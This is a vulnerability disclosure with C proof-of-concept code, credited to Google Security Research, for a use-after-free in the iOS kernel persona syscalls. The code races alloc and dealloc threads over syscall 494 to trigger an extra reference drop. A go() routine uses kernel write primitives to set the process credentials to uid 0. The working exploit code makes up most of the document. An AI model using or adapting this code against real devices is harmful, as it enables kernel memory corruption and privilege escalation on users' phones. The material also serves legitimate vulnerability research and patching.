Apple iOS Kernel - Use-After-Free due to bad Error Handling in Personas

Google Security Research 2018-10-22 dos ios
/*
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:

 In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
 
  error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
  if (error)
    goto out_error;

This jumps here:
  if (persona)
    persona_put(persona);

At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.

The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.

It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
 
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
 
It should be easy to fix up this PoC to run as root in your testing environment.
*/

// @i41nbeer

#include "test_next_exploit.h"
#include <unistd.h>
#include <pthread.h>
#include <string.h>

#include "kmem.h"


/*
iOS kernel UaF due to bad error handling in personas
 
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:

 In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
 
  error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
  if (error)
    goto out_error;

This jumps here:
  if (persona)
    persona_put(persona);

At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.

The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.

It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
 
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
 
It should be easy to fix up this PoC to run as root in your testing environment.
*/



#define NGROUPS 16
#define MAXLOGNAME 255

struct kpersona_info {
  uint32_t persona_info_version;
  
  uid_t    persona_id; /* overlaps with UID */
  int      persona_type;
  gid_t    persona_gid;
  uint32_t persona_ngroups;
  gid_t    persona_groups[NGROUPS];
  uid_t    persona_gmuid;
  char     persona_name[MAXLOGNAME+1];
  
  /* TODO: MAC policies?! */
};

enum {
  PERSONA_INVALID = 0,
  PERSONA_GUEST   = 1,
  PERSONA_MANAGED = 2,
  PERSONA_PRIV    = 3,
  PERSONA_SYSTEM  = 4,
  
  PERSONA_TYPE_MAX = PERSONA_SYSTEM,
};

#define PERSONA_OP_ALLOC    1
#define PERSONA_OP_DEALLOC  2
#define PERSONA_OP_GET      3
#define PERSONA_OP_INFO     4
#define PERSONA_OP_PIDINFO  5
#define PERSONA_OP_FIND     6

#define PERSONA_INFO_V1       1

#define PERSONA_SYSCALL_NUMBER 494
int sys_persona(uint32_t operation, uint32_t flags, struct kpersona_info *info, uid_t *id, size_t *idlen) {
  return syscall(PERSONA_SYSCALL_NUMBER, operation, flags, info, id, idlen);
}

void persona_dealloc() {
  uid_t uid = 235;
  size_t uid_size = sizeof(uid);
  int perr = sys_persona(PERSONA_OP_DEALLOC, 0, NULL, &uid, &uid_size);
  printf("dealloc perr: 0x%x\n", perr);
}

void* persona_bad_alloc() {
  // let's try to alloc a persona:
  struct kpersona_info info = {0};
  uid_t kpersona_uid = -123;
  size_t kpersona_uid_size = sizeof(kpersona_uid);
  
  info.persona_info_version = PERSONA_INFO_V1;
  strcpy(info.persona_name, "a_name2");
  
  info.persona_id = 235;
  info.persona_type = PERSONA_GUEST;
  
  int perr = sys_persona(PERSONA_OP_ALLOC, 0, &info, NULL/*&kpersona_uid*/, &kpersona_uid_size);
  printf("err: %x\n", perr);
  printf("kpersona_uid: %d\n", kpersona_uid);
  
  return NULL;
}

void* dealloc_thread_func(void* arg) {
  int uid = getuid();
  printf("dealloc thread uid: %d\n", uid);
  // got r00t?
  while(1) {
    persona_dealloc();
  }
}

void* alloc_thread_func(void* arg) {
  int uid = getuid();
  printf("alloc_thread uid: %d\n", uid);
  // got r00t?
  while(1) {
    persona_bad_alloc();
  }
}

void go(uint64_t thread_t) {
  uint64_t bsd_thread_info = rk64(thread_t + 0x388);
  uint64_t cred_t = rk64(bsd_thread_info + 0x160);
  
  // uid:=0
  wk32(cred_t+0x18, 0);
  wk32(cred_t+0x1c, 0);
  
  pthread_t dealloc_thread;
  pthread_create(&dealloc_thread, NULL, dealloc_thread_func, NULL);
  
  pthread_t alloc_thread;
  pthread_create(&alloc_thread, NULL, alloc_thread_func, NULL);
  
  pthread_join(dealloc_thread, NULL);
}